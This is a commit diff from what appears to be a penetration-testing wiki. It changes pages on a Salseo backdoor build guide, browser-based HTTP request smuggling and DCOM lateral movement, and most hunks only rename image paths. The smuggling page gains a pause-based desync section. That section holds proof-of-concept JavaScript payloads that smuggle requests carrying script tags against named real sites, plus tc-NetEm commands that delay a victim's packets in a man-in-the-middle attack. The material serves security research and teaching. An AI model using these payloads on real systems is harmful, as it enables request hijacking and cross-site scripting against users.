GitBook: [#3422] No subject

backdoors/salseo.md

@@ -30,7 +30,7 @@ You can **select the architecture** inside Visual Studio in the **left "Build" T
 
 Then, build both projects (Build -> Build Solution) (Inside the logs will appear the path of the executable):
 
-![](<../.gitbook/assets/image (1) (2).png>)
+![](<../.gitbook/assets/image (1) (2) (1).png>)
 
 ## Prepare the Backdoor
 
@@ -113,7 +113,7 @@ Open the SalseoLoader project using Visual Studio.
 
 #### **Search for DllExport package (using Browse tab), and press Install (and accept the popup)**
 
-![](<../.gitbook/assets/image (4) (1).png>)
+![](<../.gitbook/assets/image (4) (1) (1).png>)
 
 In your project folder have appeared the files: **DllExport.bat** and **DllExport\_Configure.bat**
 
@@ -121,7 +121,7 @@ In your project folder have appeared the files: **DllExport.bat** and **DllExpor
 
 Press **Uninstall** (yeah, its weird but trust me, it is necessary)
 
-![](<../.gitbook/assets/image (5).png>)
+![](<../.gitbook/assets/image (5) (1).png>)
 
 ### **Exit Visual Studio and execute DllExport\_configure**
 

pentesting-web/http-request-smuggling/browser-http-request-smuggling.md

@@ -49,7 +49,7 @@ Secondly, the request must be **triggerable in a web-browser cross-domain**. Bro
 
 The way to test this missconfig is to **send 2 requests and smuggle one** in the **middle**. If the **smuggled** connection **affected** the response of the **second** **request**, it means that it's **vulnerable**:
 
-![](<../../.gitbook/assets/image (1).png>)
+![](<../../.gitbook/assets/image (1) (2).png>)
 
 {% hint style="warning" %}
 Note that you **cannot** test this vuln by just sending a **Content-Length bigger** than the one sent and **looking for a timeout** because some servers **respond** even if they **didn't receive the whole body**.
@@ -110,13 +110,12 @@ The simplest path to a successful attack came from two key techniques usually us
 ```javascript
 fetch('https://www.capitalone.ca/assets', {
     method: 'POST',
-    
-        // use a cache-buster to delay the response
-        body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
-        credentials: 'include',
-        mode: 'cors' // throw an error instead of following redirect
+    // use a cache-buster to delay the response
+    body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
+    credentials: 'include',
+    mode: 'cors' // throw an error instead of following redirect
 }).catch(() => {
-        location = 'https://www.capitalone.ca/'
+    location = 'https://www.capitalone.ca/'
 })va
 ```
 
@@ -161,7 +160,7 @@ When looking for CSD you can also **test semi-malformed** URLs like `/..%2f` or
 
 * **Coloured Exploit**
 
-![](../../.gitbook/assets/image.png)
+![](<../../.gitbook/assets/image (5).png>)
 
 * **JS Exploit**
 
@@ -198,8 +197,9 @@ fetch('https://www.verisign.com/%2f', {
 ```html
 <script>
     function reset() {
-        fetch('https://vpn.redacted/robots.txt', {mode: 'no-cors', credentials: 'include'})
-        .then(() => {
+        fetch('https://vpn.redacted/robots.txt', 
+            {mode: 'no-cors', credentials: 'include'}
+        ).then(() => {
             x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
         })
         setTimeout(poison, 120) // worked on 140. went down to 110
@@ -247,8 +247,85 @@ Summary steps:
 
 ## Pause-based desync <a href="#pause" id="pause"></a>
 
-\
+Pausing can also create new desync vulnerabilities by **triggering misguided request-timeout implementations**.
 
+So, an attacker might send a request with **headers indicating that there is a body**, and then **wait** for the **front-end to timeout before sending the body**. If the front-end times out but **leaves the connection open**, the **body** of that request will be **treated as a new request**.
+
+### Example: **Varnish**
+
+Varnish cache has a feature called `synth()`, which lets you issue a **response without forwarding** the request to the back-end. Here's an example rule being used to block access to a folder:
+
+```javascript
+if (req.url ~ "^/admin") {
+    return (synth(403, "Forbidden"));
+}
+```
+
+When processing a **partial request** that matches a synth rule, Varnish will **time out** if it receives no data for **15 seconds**. When this happens, it **leaves the connection open** for reuse even though it has only read half the request off the socket. This means that if the **client follows up with the second half** of the HTTP request, it will be interpreted as a **fresh request**.
+
+To trigger a pause-based desync on a vulnerable front-end, start by sending your headers, promising a body, and then just wait. Eventually you'll receive a response and when you finally send send your request body, it'll be interpreted as a new request:
+
+![](<../../.gitbook/assets/image (4).png>)
+
+{% hint style="warning" %}
+Apparently this was patched on the 25th January as [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html).
+{% endhint %}
+
+### Example: **Apache**
+
+Just like Varnish, it's vulnerable on **endpoints where the server generates the response itself** rather than letting the application handle the request. One way this happens is with server-level redirects: `Redirect 301 / /en`
+
+### Server-side Exploitation <a href="#server" id="server"></a>
+
+If the vulnerable server (Apache or Varnish in this case) is in the back-end, a **front-end** that **streams the request to the back-end** server (http headers in this case) **without buffering** the entire request body is needed.
+
+![](../../.gitbook/assets/image.png)
+
+In this case the attacker **won't receive  the response timeout until he has send the body**. But if he knows the timeout this shouldn't be a problem.
+
+Amazon's Application Load Balancer (ALB) will **stream the data of the connection as needed**, but if it **receives** the **response** to the half request (the timeout) **before** receiving the **body**, it **won't send the body**, so a **Race Condition** must be exploited here:
+
+<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
+
+There's an additional complication when it comes to **exploiting Apache behind ALB** - **both servers** have a default **timeout of 60 seconds**. This leaves an **extremely small time-window** to send the second part of the request. The RC attack was ultimately successful after 66 hours.
+
+### MITM Exploitation
+
+It's apparently **not possible to stop a request from the browser** in order to exploit a Pause-desync vulnerability. However, you could always **perform a MITM attack to pause a request** sent by the browser. Notice that this attack **doesn't rely on decrypting** any traffic.
+
+The attack flow is very **similar to a regular client-side desync attack**. The user visits an attacker-controlled page, which issues a series of **cross-domain requests** to the target application. The **first HTTP** request is deliberately padded to be so **large** that the operating system **splits it into multiple TCP packets**, enabling an active **MITM to delay the final packet**, triggering a pause-based desync. Due to the padding, the **attacker** can **identify** which **packet to pause** simply based on the **size**.
+
+From the client-side it looks like a regular client-side desync using the HEAD gadget, aside from the request padding:
+
+```javascript
+let form = document.createElement('form')
+form.method = 'POST'
+form.enctype = 'text/plain'
+form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
+let input = document.createElement('input')
+input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
+input.value = "x"
+form.append(input)
+document.body.appendChild(form)
+form.submit()
+```
+
+On the attacker system performing the blind MITM, the delay was implemented using tc-NetEm:
+
+```bash
+# Setup
+tc qdisc add dev eth0 root handle 1: prio priomap
+
+# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
+tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
+match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
+and 'cmp(u16 at 2 layer network gt 0x02bc)' \
+and 'cmp(u16 at 2 layer network lt 0x0514)' \
+flowid 1:3
+
+# Delay flagged packets by 61 seconds
+tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
+```
 
 ## **References**
 

windows-hardening/lateral-movement/dcom-exec.md

@@ -38,7 +38,7 @@ It is then possible to invoke the `ExecuteShellCommand` method to start a proces
 
 The **MMC20.Application** object lacked explicit “[LaunchPermissions](https://technet.microsoft.com/en-us/library/bb633148.aspx)”, resulting in the default permission set allowing Administrators access:
 
-![](<../../.gitbook/assets/image (4).png>)
+![](<../../.gitbook/assets/image (4) (1).png>)
 
 You can read more on that thread [here](https://twitter.com/tiraniddo/status/817532039771525120).\
 Viewing which other objects that have no explicit LaunchPermission set can be achieved using [@tiraniddo](https://twitter.com/tiraniddo)’s [OleView .NET](https://github.com/tyranid/oleviewdotnet), which has excellent Python filters (among other things). In this instance, we can filter down to all objects that have no explicit Launch Permission. When doing so, two objects stood out to me: `ShellBrowserWindow` and `ShellWindows`: